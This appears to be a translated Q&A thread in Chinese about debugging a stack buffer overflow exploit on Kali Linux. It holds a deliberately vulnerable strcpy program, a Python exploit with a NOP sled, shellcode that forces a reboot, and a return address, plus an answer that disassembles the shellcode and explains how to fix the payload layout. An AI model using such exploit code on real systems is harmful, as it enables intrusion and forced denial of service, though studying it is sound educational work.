Segmentation Fault shell 代码测试 kali 2018

Question

我已经阅读了很多文章和示例，但我不知道我现在能做什么。所以，我想为这个易受攻击的程序测试一个 shellcode：

#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
    copier(argv[1]);
    printf("Done!\n");
}
int copier(char *str) {
    char buffer[100];
    strcpy(buffer, str);
}

运行我的 shellcode 的脚本（强制重启）：

#!/usr/bin/python

nopsled = '\x90' * 64
shellcode = (
'\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e' +
'\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3' +
'\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53' +
'\x89\xe1\xb0\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 36)
eip = '\x70\xf1\xff\xbf'
print nopsled + shellcode + padding + eip 

在这里你可以看到我的shellcode被正确加载了：

来自 esp 的寄存器

我的返回地址是：0xbffff170。那么为什么我的程序不起作用？请帮帮我

Answer 1

所以根据我的计算，这就是你的 shellcode 正在做的事情（这里是 Intel 汇编语法）：

0xbffff19c:  31 c0                  xor    eax,eax
0xbffff19e:  50                     push   eax
0xbffff19f:  68 62 6f 6f 74         push   0x746f6f62
0xbffff1a3:  68 6e 2f 72 65         push   0x65722f6e
0xbffff1a9:  68 2f 73 62 69         push   0x6962732f
0xbffff1ae:  89 e3                  mov    ebx,esp
0xbffff1b0:  50                     push   eax
0xbffff1b1:  66 68 2d 66            pushw  0x662d
0xbffff1b5:  89 e6                  mov    esi,esp
0xbffff1b7:  50                     push   eax
0xbffff1b8:  56                     push   esi
0xbffff1b9:  53                     push   ebx
0xbffff1ba:  89 e1                  mov    ecx,esp ; ecx = (char**) {"/sbin/reboot", "-f"}
0xbffff1bc:  b0 0b                  mov    al,0xb
0xbffff1be:  cd 80                  int    0x80    ; syscall sys_execve()

分段错误发生在0xbffff1b8，尽管您可以看到操作码完全有效。那么可能发生了什么？让我们看看...

您可能会注意到有很多pushing 正在进行。所有pushes 都会覆盖调用堆栈中的数据。确切地说，总共 34 个字节。

是的，与存储 shellcode 本身的调用堆栈相同……您是在连接这些点吗？ shellcode 正在覆盖自己并破坏它自己的代码。它开始时很好，但当它到达0xbffff1b8 时，有效代码已不存在，因为它完全被其他东西覆盖了。

您需要确保padding 和eip 的总长度为 34 或更多，以便 shellcode 在开始覆盖自己的代码之前有足够的堆栈空间来工作。

也就是说，padding 必须至少长 18 个字节。

将 nopsled 的长度减少 32 个字节，以使其更宽敞，然后将这些字节传输到 padding。这应该为 shellcode 保留足够的堆栈空间，以便在不破坏自身的情况下完成它。

而且由于eip地址目前是shellcode开始前的44字节，所以不需要调整。

还有其他一些事情需要注意，首先，一旦 shellcode 运行完毕，它就不再关心接下来会发生什么。这意味着即使在按预期工作时，该程序也会在调用重新启动后立即崩溃。

另外，/sbin/reboot 可能需要 root 访问权限才能工作。如果这个进程没有以 root 身份运行，它不会重新启动（它只会崩溃）。

Answer 2

@Havenard 我不知道我做错了什么。我已经修改了我的代码，所以现在有 24 字节的 nopsled、36 字节的 shellcode、44 字节的填充，然后是返回地址。如下所示：

我使用的是 root 帐户，所以它应该可以工作。当我使用 shell-strom 的代码时，它会正常重启我的计算机。我的意思是当我像普通程序一样编译和运行下面的代码时：

#include <stdio.h>
#include <string.h>

char *shellcode = "\x31\xc0\x50\x68\x62\x6f\x6f\x74\x68\x6e"
                  "\x2f\x72\x65\x68\x2f\x73\x62\x69\x89\xe3"
                  "\x50\x66\x68\x2d\x66\x89\xe6\x50\x56\x53"
                  "\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}